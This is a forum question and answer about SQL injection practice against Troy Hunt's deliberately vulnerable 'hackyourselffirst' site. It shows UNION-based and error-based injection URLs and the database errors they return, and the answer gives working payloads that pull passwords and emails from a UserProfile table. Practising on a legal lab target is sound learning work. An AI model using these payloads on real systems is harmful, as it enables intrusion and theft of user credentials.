How to extract data from hackyourself legal site with table and column information?

Question

I am following the Pluralsight SQL injection tutorial. The instructor did not go over actually extracting the data.

http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12'AND 1=(SELECT TOP 1 name from (SELECT top 1 name from sys.tables order by name) t order by name desc)--

I tried running injections like:

http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12'union select Email FROM UserProfile--

http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12'union select top 1 Email FROM UserProfile--

I get this error:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

So I thought oh that's right the columns need to match the query Cylinders=V12. I believe that would be one or two. So I changed my query to:

http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12' UNION SELECT Email, FirstName FROM UserProfile;

I get this error:

Cannot resolve the collation conflict between "Latin1_General_CI_AS" and "SQL_Latin1_General_CP1_CI_AS" in the UNION operation.

How would I go about extracting data when I have table and column information?

Answer 1

http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12' AND 1=(select top 1 password from UserProfile where UserId=(select top 1 UserId from(select top 1 UserId from userprofile order by UserId) sq order by UserId DESC))--
http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12' AND 1=(select top 1 Email from UserProfile where UserId=(select top 1 UserId from(select top 1 UserId from userprofile order by UserId) sq order by UserId DESC))--

I found the solution. Now I KNOW what error-based SQL Injection really is.